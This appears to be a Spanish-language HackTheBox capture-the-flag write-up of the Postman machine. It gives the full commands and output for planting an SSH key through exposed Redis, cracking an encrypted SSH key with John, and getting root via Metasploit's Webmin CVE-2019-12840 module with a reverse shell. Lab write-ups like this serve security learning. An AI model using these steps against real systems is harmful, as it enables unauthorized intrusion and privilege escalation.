Contents

HackTheBox - Postman

HackTheBox - Postman

Informacion de la Maquina

Postman es una maquina de HackTheBox que expone Redis donde logramos escribir nuestra clave publica de SSH y obtener acceso por este. Encontramos una clave privada encriptada la cual crackeamos con John para obtener acceso al siguiente usuario. Finalmente accedimos a Webmin y explotamos una vulnerabilidad que nos dio acceso privilegiado.

DificultadFACIL
OSLinux
Fecha de Salida2019-11-02
First User Bloodsampriti (0H 45M 58S)
First Root Bloodanymuz (0H 55M 4S)
Rated Difficulty
Machine Matrix

Recon

nmap

Escaneo de puerto tcp/udp, en el cual nos muestra el puerto http (80) y el puerto de ssh (22) abierto.

bash
 1# Nmap 7.80 scan initiated Thu Dec 26 14:42:29 2019 as: nmap -p- --min-rate 1000 -o postman_nmap 10.10.10.160
 2Warning: 10.10.10.160 giving up on port because retransmission cap hit (10).
 3Nmap scan report for 10.10.10.160
 4Host is up (0.26s latency).
 5Not shown: 65213 closed ports, 318 filtered ports
 6PORT      STATE SERVICE
 722/tcp    open  ssh
 880/tcp    open  http
 96379/tcp  open  redis
1010000/tcp open  snet-sensor-mgmt
11
12# Nmap done at Thu Dec 26 14:45:40 2019 -- 1 IP address (1 host up) scanned in 191.74 seconds
13
14# Nmap 7.80 scan initiated Thu Dec 26 14:46:53 2019 as: nmap -sV -sC -p22,80,6379,10000 -o postman_nmap_v 10.10.10.160
15Nmap scan report for 10.10.10.160
16Host is up (0.25s latency).
17
18PORT      STATE SERVICE VERSION
1922/tcp    open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
20| ssh-hostkey: 
21|   2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA)
22|   256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA)
23|_  256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519)
2480/tcp    open  http    Apache httpd 2.4.29 ((Ubuntu))
25|_http-server-header: Apache/2.4.29 (Ubuntu)
26|_http-title: The Cyber Geek's Personal Website
276379/tcp  open  redis   Redis key-value store 4.0.9
2810000/tcp open  http    MiniServ 1.910 (Webmin httpd)
29|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
30|_http-trane-info: Problem with XML parsing of /evox/about
31Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
32
33Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
34# Nmap done at Thu Dec 26 14:47:36 2019 -- 1 IP address (1 host up) scanned in 43.58 seconds

HTTP (Puerto 80)

En el puerto 80 nos muestra una pagina que al parecer esta en construccion.

image

Puerto 6379

En el puerto 6379 nos muestra un mensaje de error.

image

Puerto 10000

En este puerto nos muestra un mensaje de error en el cual nos dice que probemos en el protocolo https.

image

Cambiamos a https y nos muestra un panel de Webmin.

image

Gobuster - Puerto 80

Encontramos algunos directorios y archivos.

bash
1root@aoiri:~/htb/postman# gobuster dir -u http://10.10.10.160/ -w /usr/share/wordlists/dirb/common.txt -x php,html,txt -t 15 -q
2/css (Status: 301)
3/fonts (Status: 301)
4/images (Status: 301)
5/index.html (Status: 200)
6/index.html (Status: 200)
7/js (Status: 301)
8/server-status (Status: 403)
9/upload (Status: 301)

Redis Puerto 6379

Como vimos en el reporte de nmap este puerto esta corriendo un servicio de redis 4.0.9. Al intentar conectarnos con el servicio mediante redis-tools podemos obtener informacion del mismo.

image

Redis - Explotacion

Utilizando los comandos de redis podemos obtener informacion del directorio donde esta corriendo o esta siendo utilizado por redis, tambien el nombre del archivo (dbfilename).

image

Vemos que la configuracion del dbfilename es dump.rdb y el directorio esta ubicado en /var/lib/redis, para obtener acceso a la maquina mediante redis vamos a sobrescribir la configuracion, agregando el dbfilename como authorized_keys donde vamos a escribir nuestra clave publica de ssh y dir como /var/lib/redis/.ssh.

User - Redis

Generamos nuestra clave publica con ssh-keygen la cual vamos a utilizar para iniciar sesion en el servicio ssh.

image

Antes de configurar redis debemos de agregar saltos de linea antes y despues en nuevo archivo agregando nuestra clave publica.

bash
1(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > clave_publica.txt

image

Utilizamos redis-cli localmente para agregar la configuracion que necesitamos a la maquina, con los comandos:

bash
 1#Configuracion dir
 2redis-cli -h 10.10.10.160
 3config set dir /var/lib/redis/.ssh
 4config get dir
 5
 6#Configuracion dbfilename
 7config set dbfilename authorized_keys
 8config get dbfilename
 9SLAVEOF NO ONE
10save
11
12#Escritura de clave publica en nuestra key
13cat clave_publica.txt | redis-cli -h 10.10.10.160 -x set s-key
14get s-key

image

Verificamos que nuestra clave publica se haya escrito en nuestra key (s-key):

image

Utilizando nuestra clave privada iniciamos sesion con el usuario redis:

image

Vemos el historial del usuario redis, encontramos que el usuario edito un archivo de python y un archivo de id_rsa.bak:

image

Archivo id_rsa.bak:

image

User - Matt

Utilizando la clave privada con el usuario Matt con ssh nos pregunta por la frase.

image

Utilizamos ssh2john para obtener el hash del archivo y junto con john the ripper crackear la frase de la clave privada.

bash
1python ssh2john.py id_rsa_matt > id_rsa_matt.hash
2john --format=SSH --wordlist=/usr/share/wordlists/rockyou.txt id_rsa_matt.hash

image

FRASE: computer2008

Obtenemos la frase pero al intentar utilizarla con la clave privada no nos permite iniciars sesion.

image

Utilizamos la misma frase como contraseña de Matt y con el comando su, obtuvimos una shell con el usuario Matt y nuestra flag user.txt.

image

Flag:

image

Privesc

Utilizamos las credenciales de Matt en el puerto 10000 o webmin panel, exitosamente logramos iniciar sesion.

image

La version de webmin menores o iguales a 1.910 tienen una vulnerabilidad (CVE:2019-12840) que permite la ejecucion de comandos, configuramos metasploit con el cve, añadimos las credenciales de Matt y utilizamos SSL.

bash
 1msf5 > search 2019-12840 
 2
 3Matching Modules
 4================
 5
 6   #  Name                                     Disclosure Date  Rank       Check  Description
 7   -  ----                                     ---------------  ----       -----  -----------
 8   0  exploit/linux/http/webmin_packageup_rce  2019-05-16       excellent  Yes    Webmin Package Updates Remote Command Execution
 9
10
11msf5 > use exploit/linux/http/webmin_packageup_rce
12msf5 exploit(linux/http/webmin_packageup_rce) > 
13msf5 exploit(linux/http/webmin_packageup_rce) > show options 
14
15Module options (exploit/linux/http/webmin_packageup_rce):
16
17   Name       Current Setting  Required  Description
18   ----       ---------------  --------  -----------
19   PASSWORD                    yes       Webmin Password
20   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
21   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
22   RPORT      10000            yes       The target port (TCP)
23   SSL        false            no        Negotiate SSL/TLS for outgoing connections
24   TARGETURI  /                yes       Base path for Webmin application
25   USERNAME                    yes       Webmin Username
26   VHOST                       no        HTTP server virtual host
27
28
29Payload options (cmd/unix/reverse_perl):
30
31   Name   Current Setting  Required  Description
32   ----   ---------------  --------  -----------
33   LHOST                   yes       The listen address (an interface may be specified)
34   LPORT  4444             yes       The listen port
35
36
37Exploit target:
38
39   Id  Name
40   --  ----
41   0   Webmin <= 1.910
42
43
44msf5 exploit(linux/http/webmin_packageup_rce) > set rhosts 10.10.10.160
45rhosts => 10.10.10.160
46msf5 exploit(linux/http/webmin_packageup_rce) > 
47msf5 exploit(linux/http/webmin_packageup_rce) > show options 
48
49Module options (exploit/linux/http/webmin_packageup_rce):
50
51   Name       Current Setting  Required  Description
52   ----       ---------------  --------  -----------
53   PASSWORD                    yes       Webmin Password
54   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
55   RHOSTS     10.10.10.160     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
56   RPORT      10000            yes       The target port (TCP)
57   SSL        false            no        Negotiate SSL/TLS for outgoing connections
58   TARGETURI  /                yes       Base path for Webmin application
59   USERNAME                    yes       Webmin Username
60   VHOST                       no        HTTP server virtual host
61
62
63Payload options (cmd/unix/reverse_perl):
64
65   Name   Current Setting  Required  Description
66   ----   ---------------  --------  -----------
67   LHOST                   yes       The listen address (an interface may be specified)
68   LPORT  4444             yes       The listen port
69
70
71Exploit target:
72
73   Id  Name
74   --  ----
75   0   Webmin <= 1.910
76
77
78msf5 exploit(linux/http/webmin_packageup_rce) > set lhost tun0
79lhost => 10.10.14.67
80msf5 exploit(linux/http/webmin_packageup_rce) > set USERNAME Matt
81USERNAME => Matt
82msf5 exploit(linux/http/webmin_packageup_rce) > set PASSWORD computer2008
83PASSWORD => computer2008
84msf5 exploit(linux/http/webmin_packageup_rce) > set SSL true 
85SSL => true
86msf5 exploit(linux/http/webmin_packageup_rce) > run
87
88[*] Started reverse TCP handler on 10.10.14.67:4444 
89[+] Session cookie: 4c7f4b517283e96d41da23ced104e00a
90[*] Attempting to execute the payload...
91[*] Command shell session 1 opened (10.10.14.67:4444 -> 10.10.10.160:42436) at 2019-12-29 22:13:48 -0600
92id
93
94
95uid=0(root) gid=0(root) groups=0(root)
96whoami; pwd
97root
98/usr/share/webmin/package-updates/

image

Obtenemos una sesion con privilegios root y nuestra flag root.txt.

image

sckull

Written by sckull

eJPT · eCPPT · eMAPT

Prev TryHackMe - Willow
Next TryHackMe - Stealthcopter CTF Primer1